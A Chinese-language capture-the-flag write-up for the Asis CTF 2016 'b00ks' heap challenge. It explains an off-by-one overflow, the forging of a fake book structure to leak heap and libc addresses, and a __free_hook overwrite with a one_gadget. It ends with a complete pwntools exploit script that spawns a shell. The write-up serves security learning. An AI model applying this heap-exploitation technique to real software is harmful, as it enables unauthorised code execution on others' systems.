Asis CTF 2016 b00ks

Asis CTF 2016 b00ks

Asis CTF 2016 b00ks_第1张图片

结构体

通过前后分析可以得到如下结构

struct book
{
    int id;
    char *name;
    char *book_description;
    int size;
}

再来看一下漏洞

先看漏洞函数
Asis CTF 2016 b00ks_第2张图片

可以看到*buf=0,这个将末尾置0,那么便存在off_by_one漏洞,但是之后我一直在各个函数里找漏洞,都没找到,最后在read_name()函数里找到的,这只能说我太菜了,不知道还有交叉引用这个东西直接按x啊

Asis CTF 2016 b00ks_第3张图片

可以看到只有四个函数调用了,那不就出来了吗?

Asis CTF 2016 b00ks_第4张图片

可以看到这里有个32,那么便可以肯定的是,漏洞,再点进去看一看

Asis CTF 2016 b00ks_第5张图片

能够覆盖到0x38处

但是这个怎么着能不能覆盖?????到底是为什么呢?我弄了一下午,才发现。

Asis CTF 2016 b00ks_第6张图片

左边是名字,右边是值。可以表明,这个是写死的了。

现在我们知道漏洞点了,那么现在怎么办呢?

  • 首先我们这里使用read_name函数读取(name,目的是泄露出其地址的内容)
  • 通过一字节溢出,会将第一个book的地址末尾置0,我们知道ASLR后1.5个字节也即3个16进制是不随机化的,所以我们后几位都是一定的
  • 当末尾置0的时候,他就会跳转到其前面的堆块中,这里会跳转到前面的book2_des地址去,然后我们通过构造得来伪造一个新的book
  • 在这个新的book中,我们将name,book_description地址变为book2的地址,这样我们便可以读取到book2的地址,而如果我们的book2申请空间很大的话,那么其可以通过mmap申请堆块,而这个堆块是与libc地址相关的,那么这样我们泄露出其地址,便是可以得到libc基地址
  • 由于这里有edit操作,那么我们便可以通过修改book1,来修改book2的地址指针,使其指向__free_hook然后我们便可以修改Book2的地址,便可以达到修改__free_hook的功能。

启用了FULL RELRO所以我们不能修改got表,但是我们可以修改__free_hook__malloc_hook,我们可以将它修改为one_gadget

结尾exp

#-*- coding:utf8 -*-
from pwn import *
context.os="linux"
context.arch="amd64"
context.word_size=64
context.endian="little"
context.log_level="debug"
local = True
pc="./b00ks"
remote_addr=["123.123.123.123",12345]
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
p=None
if local==True:
    p=process(pc)
    gdb.attach(p)
else:
    p=remote(remote_addr[0],remote_addr[1])

def create(size_1,name,size_2,description):
    p.recv()
    p.sendline("1")
    p.recvuntil("Enter book name size:")
    p.sendline(str(size_1))
    p.recvuntil("Enter book name (Max 32 chars):")
    p.sendline(name)
    p.recvuntil("Enter book description size:")
    p.sendline(str(size_2))
    p.recvuntil("Enter book description:")
    p.sendline(description)

def delete(id):
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil("Enter the book id you want to delete:")
    p.sendline(str(id))

def edit(id,description):
    p.recv()
    p.sendline("3")
    p.recvuntil("Enter the book id you want to edit:")
    p.sendline(str(id))
    p.recvuntil("Enter new book description:")
    p.sendline(description)

def read():
    p.recvuntil(">")
    p.sendline("4")

def change_name(name):
    p.recvuntil(">")
    p.sendline("5")
    p.recvuntil("Enter author name:")
    p.sendline(name)

def printbook(id):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil(": ")
    for i in range(id):
        book_id = int(p.recvline()[:-1])
        p.recvuntil(": ")
        book_name = p.recvline()[:-1]
        p.recvuntil(": ")
        book_des = p.recvline()[:-1]
        p.recvuntil(": ")
        book_author = p.recvline()[:-1]
    return book_id, book_name, book_des, book_author

if __name__ == "__main__":
    p.recvuntil("author name:")
    p.sendline("A"*32)
    create(48, '1a', 240, '1b') #1
    create(0x21000, '2a', 0x21000, '2b')#2
    book_id_1, book_name, book_des, book_author = printbook(1)
    first_heap = u64(book_author[32:32+6].ljust(8,'\x00'))
    log.info(hex(first_heap))
    payload =  "a"*0x50 + p64(1) + p64(first_heap + 0x38)     
    payload = payload + p64(first_heap + 0x40) + p64(0xffff)                                                                                                                                                                                                    
    edit(1,payload)
    change_name("A"*32)
    book_id_1, book_name, book_des, book_author = printbook(1)
    
    book2_name_addr = u64(book_name.ljust(8,'\x00'))
    book2_des_addr = u64(book_des.ljust(8, '\x00'))
    log.info(hex(book2_name_addr))
    log.info(hex(book2_des_addr))

    offset = 0x4f3d5
    offset = 0x4f432
    #offset = 0x10a41c
    

    libc_base = book2_des_addr - 0x5b8010
    one_gadget = libc_base +offset
    free_hook = libc_base +0x3ed8e8
    log.info(hex(libc_base))
    execv_addr =libc_base+ 0xe4c00
    system_addr = libc_base + 0x4f550
    bin_sh = 0x01b3e1a + libc_base
    #pause() 
    payload =  p64(free_hook)
    edit(1,payload)
    edit(2,p64(one_gadget))
    delete(2)
    #pause() 
    p.interactive()

你可能感兴趣的:(pwn,pwn)